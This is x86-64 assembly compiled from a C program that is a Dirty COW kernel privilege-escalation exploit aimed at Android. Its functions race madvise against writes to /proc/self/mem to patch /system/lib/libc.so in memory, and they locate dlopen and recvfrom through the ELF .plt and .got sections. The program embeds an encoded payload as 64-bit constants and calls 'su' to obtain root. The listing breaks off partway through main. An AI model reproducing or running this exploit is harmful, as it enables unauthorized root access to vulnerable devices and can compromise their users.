	.file	"622061.c"
	.intel_syntax noprefix
	.text
	.type	check, @function
check:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR -8[rbp]
	mov	rdx, QWORD PTR 176[rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	rcx, QWORD PTR 168[rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR 160[rax]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcmp@PLT
	test	eax, eax
	sete	al
	movzx	eax, al
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	check, .-check
	.type	madviseThread, @function
madviseThread:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR -40[rbp]
	mov	QWORD PTR -24[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
	mov	rax, QWORD PTR 144[rax]
	and	rax, -4096
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
	mov	rax, QWORD PTR 144[rax]
	mov	rdx, QWORD PTR -16[rbp]
	sub	rax, rdx
	mov	QWORD PTR -8[rbp], rax
	mov	DWORD PTR -28[rbp], 0
	jmp	.L4
.L7:
	mov	rcx, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR -16[rbp]
	mov	edx, 4
	mov	rsi, rcx
	mov	rdi, rax
	call	madvise@PLT
	mov	eax, DWORD PTR -28[rbp]
	and	eax, 4095
	test	eax, eax
	jne	.L5
	mov	rax, QWORD PTR -24[rbp]
	mov	rdi, rax
	call	check
	test	eax, eax
	jne	.L9
.L5:
	add	DWORD PTR -28[rbp], 1
.L4:
	cmp	DWORD PTR -28[rbp], 16777215
	jle	.L7
	jmp	.L6
.L9:
	nop
.L6:
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	madviseThread, .-madviseThread
	.section	.rodata
.LC0:
	.string	"/proc/self/mem"
.LC1:
	.string	"open(\"/proc/self/mem\""
	.text
	.type	procselfmemThread, @function
procselfmemThread:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR -40[rbp]
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	rax, QWORD PTR 160[rax]
	mov	QWORD PTR -8[rbp], rax
	mov	esi, 2
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -20[rbp], -1
	jne	.L11
	lea	rsi, .LC1[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
.L11:
	mov	DWORD PTR -24[rbp], 0
	jmp	.L12
.L15:
	mov	rax, QWORD PTR -16[rbp]
	mov	rcx, QWORD PTR 144[rax]
	mov	eax, DWORD PTR -20[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	edi, eax
	call	lseek@PLT
	mov	rax, QWORD PTR -16[rbp]
	mov	rdx, QWORD PTR 176[rax]
	mov	rcx, QWORD PTR -8[rbp]
	mov	eax, DWORD PTR -20[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
	mov	eax, DWORD PTR -24[rbp]
	and	eax, 4095
	test	eax, eax
	jne	.L13
	mov	rax, QWORD PTR -16[rbp]
	mov	rdi, rax
	call	check
	test	eax, eax
	jne	.L17
.L13:
	add	DWORD PTR -24[rbp], 1
.L12:
	cmp	DWORD PTR -24[rbp], 16777215
	jle	.L15
	jmp	.L14
.L17:
	nop
.L14:
	mov	eax, DWORD PTR -20[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	procselfmemThread, .-procselfmemThread
	.section	.rodata
.LC2:
	.string	"r"
.LC3:
	.string	"/proc/self/maps"
.LC4:
	.string	"fopen(\"/proc/self/maps\")"
.LC5:
	.string	"%x-%x %s %*x %*x:%*x %*Lu %s"
.LC6:
	.string	"r-xp"
.LC7:
	.string	"/libc.so"
	.text
	.type	get_range, @function
get_range:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 80
	mov	QWORD PTR -8264[rbp], rdi
	mov	QWORD PTR -8272[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -8252[rbp], -1
	lea	rsi, .LC2[rip]
	lea	rdi, .LC3[rip]
	call	fopen@PLT
	mov	QWORD PTR -8248[rbp], rax
	cmp	QWORD PTR -8248[rbp], 0
	jne	.L20
	lea	rsi, .LC4[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
.L24:
	lea	rdi, -4112[rbp]
	lea	rsi, -8240[rbp]
	mov	rcx, QWORD PTR -8272[rbp]
	mov	rdx, QWORD PTR -8264[rbp]
	lea	rax, -8208[rbp]
	mov	r9, rdi
	mov	r8, rsi
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	mov	eax, 0
	call	__isoc99_sscanf@PLT
	lea	rax, -8240[rbp]
	lea	rsi, .LC6[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	jne	.L21
	jmp	.L20
.L21:
	lea	rax, -4112[rbp]
	lea	rsi, .LC7[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	jne	.L22
	jmp	.L20
.L22:
	mov	DWORD PTR -8252[rbp], 0
	jmp	.L23
.L20:
	mov	rdx, QWORD PTR -8248[rbp]
	lea	rax, -8208[rbp]
	mov	esi, 4096
	mov	rdi, rax
	call	fgets@PLT
	test	rax, rax
	jne	.L24
.L23:
	mov	rax, QWORD PTR -8248[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	eax, DWORD PTR -8252[rbp]
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L26
	call	__stack_chk_fail@PLT
.L26:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	get_range, .-get_range
	.section	.rodata
.LC8:
	.string	"su"
.LC9:
	.string	"failed to execute \"su\""
	.text
	.type	getroot, @function
getroot:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	edx, 0
	lea	rsi, .LC8[rip]
	lea	rdi, .LC8[rip]
	mov	eax, 0
	call	execlp@PLT
	lea	rsi, .LC9[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
	.cfi_endproc
.LFE10:
	.size	getroot, .-getroot
	.type	exploit, @function
exploit:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	rdx, QWORD PTR -40[rbp]
	lea	rax, -24[rbp]
	mov	rcx, rdx
	lea	rdx, madviseThread[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	rdx, QWORD PTR -40[rbp]
	lea	rax, -16[rbp]
	mov	rcx, rdx
	lea	rdx, procselfmemThread[rip]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_create@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	mov	rax, QWORD PTR -16[rbp]
	mov	esi, 0
	mov	rdi, rax
	call	pthread_join@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L29
	call	__stack_chk_fail@PLT
.L29:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	exploit, .-exploit
	.section	.rodata
.LC10:
	.string	"libc.so"
.LC11:
	.string	"%s\n"
	.text
	.globl	get_func_addr
	.type	get_func_addr, @function
get_func_addr:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	QWORD PTR -40[rbp], rdi
	call	dlerror@PLT
	mov	esi, 1
	lea	rdi, .LC10[rip]
	call	dlopen@PLT
	mov	QWORD PTR -24[rbp], rax
	cmp	QWORD PTR -24[rbp], 0
	jne	.L31
	call	dlerror@PLT
	mov	rdx, rax
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, 1
	call	exit@PLT
.L31:
	mov	rdx, QWORD PTR -40[rbp]
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	dlsym@PLT
	mov	QWORD PTR -16[rbp], rax
	call	dlerror@PLT
	mov	QWORD PTR -8[rbp], rax
	cmp	QWORD PTR -8[rbp], 0
	je	.L32
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -8[rbp]
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, 1
	call	exit@PLT
.L32:
	mov	rax, QWORD PTR -24[rbp]
	mov	rdi, rax
	call	dlclose@PLT
	mov	rax, QWORD PTR -16[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	get_func_addr, .-get_func_addr
	.section	.rodata
.LC12:
	.string	"failed to get range"
.LC13:
	.string	"[*] range: [%x-%x]\n"
.LC14:
	.string	"malloc"
.LC15:
	.string	"/system/lib/libc.so"
.LC16:
	.string	"open(\"/system/lib/libc.so\")"
.LC17:
	.string	"fstat"
.LC18:
	.string	"mmap"
.LC19:
	.string	"[*] mmap %p\n"
.LC20:
	.string	"[*] patch complete\n"
	.text
	.globl	patch
	.type	patch, @function
patch:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 400
	mov	QWORD PTR -376[rbp], rdi
	mov	QWORD PTR -384[rbp], rsi
	mov	QWORD PTR -392[rbp], rdx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rdx, -360[rbp]
	lea	rax, -364[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	get_range
	test	eax, eax
	je	.L35
	lea	rsi, .LC12[rip]
	mov	edi, 1
	mov	eax, 0
	call	errx@PLT
.L35:
	mov	edx, DWORD PTR -360[rbp]
	mov	eax, DWORD PTR -364[rbp]
	mov	esi, eax
	lea	rdi, .LC13[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -392[rbp]
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -48[rbp], rax
	mov	rax, QWORD PTR -48[rbp]
	test	rax, rax
	jne	.L36
	lea	rsi, .LC14[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
.L36:
	mov	rax, QWORD PTR -376[rbp]
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -48[rbp]
	mov	rdx, QWORD PTR -392[rbp]
	mov	rcx, QWORD PTR -384[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	rax, QWORD PTR -392[rbp]
	mov	QWORD PTR -32[rbp], rax
	mov	esi, 0
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -356[rbp], eax
	cmp	DWORD PTR -356[rbp], -1
	jne	.L37
	lea	rsi, .LC16[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
.L37:
	lea	rdx, -352[rbp]
	mov	eax, DWORD PTR -356[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	fstat@PLT
	cmp	eax, -1
	jne	.L38
	lea	rsi, .LC17[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
.L38:
	mov	rax, QWORD PTR -304[rbp]
	mov	rsi, rax
	mov	eax, DWORD PTR -356[rbp]
	mov	r9d, 0
	mov	r8d, eax
	mov	ecx, 2
	mov	edx, 1
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR -24[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
	cmp	rax, -1
	jne	.L39
	lea	rsi, .LC18[rip]
	mov	edi, 1
	mov	eax, 0
	call	err@PLT
.L39:
	mov	eax, DWORD PTR -356[rbp]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -24[rbp]
	mov	rsi, rax
	lea	rdi, .LC19[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -352[rbp]
	mov	rdx, QWORD PTR -344[rbp]
	mov	QWORD PTR -208[rbp], rax
	mov	QWORD PTR -200[rbp], rdx
	mov	rax, QWORD PTR -336[rbp]
	mov	rdx, QWORD PTR -328[rbp]
	mov	QWORD PTR -192[rbp], rax
	mov	QWORD PTR -184[rbp], rdx
	mov	rax, QWORD PTR -320[rbp]
	mov	rdx, QWORD PTR -312[rbp]
	mov	QWORD PTR -176[rbp], rax
	mov	QWORD PTR -168[rbp], rdx
	mov	rax, QWORD PTR -304[rbp]
	mov	rdx, QWORD PTR -296[rbp]
	mov	QWORD PTR -160[rbp], rax
	mov	QWORD PTR -152[rbp], rdx
	mov	rax, QWORD PTR -288[rbp]
	mov	rdx, QWORD PTR -280[rbp]
	mov	QWORD PTR -144[rbp], rax
	mov	QWORD PTR -136[rbp], rdx
	mov	rax, QWORD PTR -272[rbp]
	mov	rdx, QWORD PTR -264[rbp]
	mov	QWORD PTR -128[rbp], rax
	mov	QWORD PTR -120[rbp], rdx
	mov	rax, QWORD PTR -256[rbp]
	mov	rdx, QWORD PTR -248[rbp]
	mov	QWORD PTR -112[rbp], rax
	mov	QWORD PTR -104[rbp], rdx
	mov	rax, QWORD PTR -240[rbp]
	mov	rdx, QWORD PTR -232[rbp]
	mov	QWORD PTR -96[rbp], rax
	mov	QWORD PTR -88[rbp], rdx
	mov	rax, QWORD PTR -224[rbp]
	mov	rdx, QWORD PTR -216[rbp]
	mov	QWORD PTR -80[rbp], rax
	mov	QWORD PTR -72[rbp], rdx
	mov	rax, QWORD PTR -24[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR -364[rbp]
	mov	eax, eax
	sub	rdx, rax
	mov	rax, QWORD PTR -376[rbp]
	add	rax, rdx
	mov	QWORD PTR -64[rbp], rax
	lea	rax, -208[rbp]
	mov	rdi, rax
	call	exploit
	lea	rdi, .LC20[rip]
	call	puts@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L40
	call	__stack_chk_fail@PLT
.L40:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	patch, .-patch
	.section	.rodata
.LC21:
	.string	"size erro."
.LC22:
	.string	"rb"
.LC23:
	.string	"Open failed."
.LC24:
	.string	".plt"
.LC25:
	.string	"sh_offset: %04X\n"
	.text
	.globl	plt_offset
	.type	plt_offset, @function
plt_offset:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 288
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -192[rbp]
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	call	stat@PLT
	test	eax, eax
	jns	.L42
	lea	rdi, .LC21[rip]
	call	puts@PLT
	mov	eax, 0
	jmp	.L41
.L42:
	lea	rsi, .LC22[rip]
	lea	rdi, .LC15[rip]
	call	fopen@PLT
	mov	QWORD PTR -280[rbp], rax
	cmp	QWORD PTR -280[rbp], 0
	jne	.L44
	lea	rdi, .LC23[rip]
	call	puts@PLT
	jmp	.L41
.L44:
	mov	rax, QWORD PTR -280[rbp]
	mov	edx, 0
	mov	esi, 0
	mov	rdi, rax
	call	fseek@PLT
	mov	rdx, QWORD PTR -280[rbp]
	lea	rax, -256[rbp]
	mov	rcx, rdx
	mov	edx, 1
	mov	esi, 52
	mov	rdi, rax
	call	fread@PLT
	movzx	eax, WORD PTR -208[rbp]
	movzx	edx, ax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -272[rbp], rax
	mov	DWORD PTR -284[rbp], 0
	mov	DWORD PTR -288[rbp], 0
	jmp	.L45
.L46:
	mov	edx, DWORD PTR -224[rbp]
	mov	eax, DWORD PTR -284[rbp]
	add	eax, edx
	mov	ecx, eax
	mov	rax, QWORD PTR -280[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	rdi, rax
	call	fseek@PLT
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	lea	rdi, [rdx+rax]
	mov	rax, QWORD PTR -280[rbp]
	mov	rcx, rax
	mov	edx, 1
	mov	esi, 40
	call	fread@PLT
	movzx	eax, WORD PTR -210[rbp]
	movzx	eax, ax
	add	DWORD PTR -284[rbp], eax
	add	DWORD PTR -288[rbp], 1
.L45:
	movzx	eax, WORD PTR -208[rbp]
	movzx	eax, ax
	cmp	DWORD PTR -288[rbp], eax
	jl	.L46
	mov	DWORD PTR -284[rbp], 0
	movzx	eax, WORD PTR -206[rbp]
	test	ax, ax
	je	.L47
	mov	DWORD PTR -288[rbp], 0
	jmp	.L48
.L50:
	movzx	eax, WORD PTR -206[rbp]
	movzx	edx, ax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR 16[rax]
	mov	eax, eax
	mov	QWORD PTR -264[rbp], rax
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	mov	edx, eax
	mov	rax, QWORD PTR -264[rbp]
	lea	rcx, [rdx+rax]
	mov	rax, QWORD PTR -280[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	rdi, rax
	call	fseek@PLT
	mov	rdx, QWORD PTR -280[rbp]
	lea	rax, -48[rbp]
	mov	rcx, rdx
	mov	edx, 1
	mov	esi, 32
	mov	rdi, rax
	call	fread@PLT
	lea	rax, -48[rbp]
	lea	rsi, .LC24[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L49
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR 16[rax]
	mov	esi, eax
	lea	rdi, .LC25[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR 16[rax]
	mov	DWORD PTR -284[rbp], eax
	jmp	.L47
.L49:
	add	DWORD PTR -288[rbp], 1
.L48:
	movzx	eax, WORD PTR -208[rbp]
	movzx	eax, ax
	cmp	DWORD PTR -288[rbp], eax
	jl	.L50
.L47:
	mov	rax, QWORD PTR -272[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -280[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	eax, DWORD PTR -284[rbp]
.L41:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L52
	call	__stack_chk_fail@PLT
.L52:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	plt_offset, .-plt_offset
	.section	.rodata
.LC26:
	.string	".got"
	.text
	.globl	got_memoffset
	.type	got_memoffset, @function
got_memoffset:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 304
	mov	QWORD PTR -296[rbp], rdi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -192[rbp]
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	call	stat@PLT
	test	eax, eax
	jns	.L54
	lea	rdi, .LC21[rip]
	call	puts@PLT
	mov	eax, 0
	jmp	.L53
.L54:
	lea	rsi, .LC22[rip]
	lea	rdi, .LC15[rip]
	call	fopen@PLT
	mov	QWORD PTR -280[rbp], rax
	cmp	QWORD PTR -280[rbp], 0
	jne	.L56
	lea	rdi, .LC23[rip]
	call	puts@PLT
	jmp	.L53
.L56:
	mov	rax, QWORD PTR -280[rbp]
	mov	edx, 0
	mov	esi, 0
	mov	rdi, rax
	call	fseek@PLT
	mov	rdx, QWORD PTR -280[rbp]
	lea	rax, -256[rbp]
	mov	rcx, rdx
	mov	edx, 1
	mov	esi, 52
	mov	rdi, rax
	call	fread@PLT
	movzx	eax, WORD PTR -208[rbp]
	movzx	edx, ax
	movzx	eax, WORD PTR -210[rbp]
	movzx	eax, ax
	imul	eax, edx
	cdqe
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -272[rbp], rax
	mov	DWORD PTR -284[rbp], 0
	mov	DWORD PTR -288[rbp], 0
	jmp	.L57
.L58:
	mov	edx, DWORD PTR -224[rbp]
	mov	eax, DWORD PTR -284[rbp]
	add	eax, edx
	mov	ecx, eax
	mov	rax, QWORD PTR -280[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	rdi, rax
	call	fseek@PLT
	movzx	eax, WORD PTR -210[rbp]
	movzx	esi, ax
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	lea	rdi, [rdx+rax]
	mov	rax, QWORD PTR -280[rbp]
	mov	rcx, rax
	mov	edx, 1
	call	fread@PLT
	movzx	eax, WORD PTR -210[rbp]
	movzx	eax, ax
	add	DWORD PTR -284[rbp], eax
	add	DWORD PTR -288[rbp], 1
.L57:
	movzx	eax, WORD PTR -208[rbp]
	movzx	eax, ax
	cmp	DWORD PTR -288[rbp], eax
	jl	.L58
	mov	DWORD PTR -284[rbp], 0
	movzx	eax, WORD PTR -206[rbp]
	movzx	edx, ax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR 16[rax]
	mov	eax, eax
	mov	QWORD PTR -264[rbp], rax
	movzx	eax, WORD PTR -206[rbp]
	test	ax, ax
	je	.L59
	mov	DWORD PTR -288[rbp], 0
	jmp	.L60
.L62:
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR [rax]
	mov	edx, eax
	mov	rax, QWORD PTR -264[rbp]
	lea	rcx, [rdx+rax]
	mov	rax, QWORD PTR -280[rbp]
	mov	edx, 0
	mov	rsi, rcx
	mov	rdi, rax
	call	fseek@PLT
	mov	rdx, QWORD PTR -280[rbp]
	lea	rax, -48[rbp]
	mov	rcx, rdx
	mov	edx, 1
	mov	esi, 32
	mov	rdi, rax
	call	fread@PLT
	lea	rax, -48[rbp]
	lea	rsi, .LC26[rip]
	mov	rdi, rax
	call	strcmp@PLT
	test	eax, eax
	jne	.L61
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR 12[rax]
	mov	DWORD PTR -284[rbp], eax
	mov	eax, DWORD PTR -288[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 2
	add	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	mov	rax, QWORD PTR -272[rbp]
	add	rax, rdx
	mov	eax, DWORD PTR 20[rax]
	shr	eax, 2
	mov	edx, eax
	mov	rax, QWORD PTR -296[rbp]
	mov	DWORD PTR [rax], edx
	jmp	.L59
.L61:
	add	DWORD PTR -288[rbp], 1
.L60:
	movzx	eax, WORD PTR -208[rbp]
	movzx	eax, ax
	cmp	DWORD PTR -288[rbp], eax
	jl	.L62
.L59:
	mov	rax, QWORD PTR -272[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -280[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	eax, DWORD PTR -284[rbp]
.L53:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L64
	call	__stack_chk_fail@PLT
.L64:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	got_memoffset, .-got_memoffset
	.section	.rodata
.LC27:
	.string	"dlopen"
	.align 8
.LC28:
	.string	"[*] dlopen vitual addr: %08lx\n"
	.align 8
.LC29:
	.string	"[*] got_addr vitual addr: %08lx, num : %d\n"
.LC30:
	.string	"[*] dlopen @ got %d\n"
.LC31:
	.string	"recvfrom"
	.align 8
.LC32:
	.string	"[*]pid: %d, recv_from: %08lx, vaddr_set_errno: %08lx, vaddr_dlopen_plt: %08lx, vaddr_payload: %08lx\n"
.LC33:
	.string	"dlopen_offset = %08lx"
	.align 8
.LC34:
	.string	"vaddr_payload %08lx, offset %08lx\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 272
	mov	DWORD PTR -260[rbp], edi
	mov	QWORD PTR -272[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	movabs	rax, -2188538278692699905
	movabs	rdx, -1224979094825832249
	mov	QWORD PTR -160[rbp], rax
	mov	QWORD PTR -152[rbp], rdx
	movabs	rax, -2067152225177669620
	movabs	rdx, -1676112022183346175
	mov	QWORD PTR -144[rbp], rax
	mov	QWORD PTR -136[rbp], rdx
	movabs	rax, -2188749350551683062
	movabs	rdx, -2044616634840121268
	mov	QWORD PTR -128[rbp], rax
	mov	QWORD PTR -120[rbp], rdx
	movabs	rax, -2268916942519455741
	movabs	rdx, -1904125437089206196
	mov	QWORD PTR -112[rbp], rax
	mov	QWORD PTR -104[rbp], rdx
	movabs	rax, -1904125437121974269
	movabs	rdx, -1676112018573099213
	mov	QWORD PTR -96[rbp], rax
	mov	QWORD PTR -88[rbp], rdx
	movabs	rax, -1644657254342803443
	movabs	rdx, -2044494275414327184
	mov	QWORD PTR -80[rbp], rax
	mov	QWORD PTR -72[rbp], rdx
	movabs	rax, -1676182451510050816
	movabs	rdx, -7984883106174727679
	mov	QWORD PTR -64[rbp], rax
	mov	QWORD PTR -56[rbp], rdx
	movabs	rax, -1585267065036472320
	movabs	rdx, 3417499243072025391
	mov	QWORD PTR -48[rbp], rax
	mov	QWORD PTR -40[rbp], rdx
	movabs	rax, 27694916288014690
	mov	QWORD PTR -32[rbp], rax
	mov	DWORD PTR -24[rbp], 0
	mov	BYTE PTR -20[rbp], 0
	lea	rdx, -252[rbp]
	lea	rax, -256[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	get_range
	test	eax, eax
	je	.L66
	lea	rsi, .LC12[rip]
	mov	edi, 1
	mov	eax, 0
	call	errx@PLT
.L66:
	lea	rdi, .LC27[rip]
	call	get_func_addr
	mov	DWORD PTR -244[rbp], eax
	mov	eax, DWORD PTR -244[rbp]
	mov	esi, eax
	lea	rdi, .LC28[rip]
	mov	eax, 0
	call	printf@PLT
	mov	DWORD PTR -248[rbp], 0
	lea	rax, -248[rbp]
	mov	rdi, rax
	call	got_memoffset
	mov	DWORD PTR -240[rbp], eax
	mov	edx, DWORD PTR -256[rbp]
	mov	eax, DWORD PTR -240[rbp]
	add	eax, edx
	mov	DWORD PTR -236[rbp], eax
	mov	edx, DWORD PTR -248[rbp]
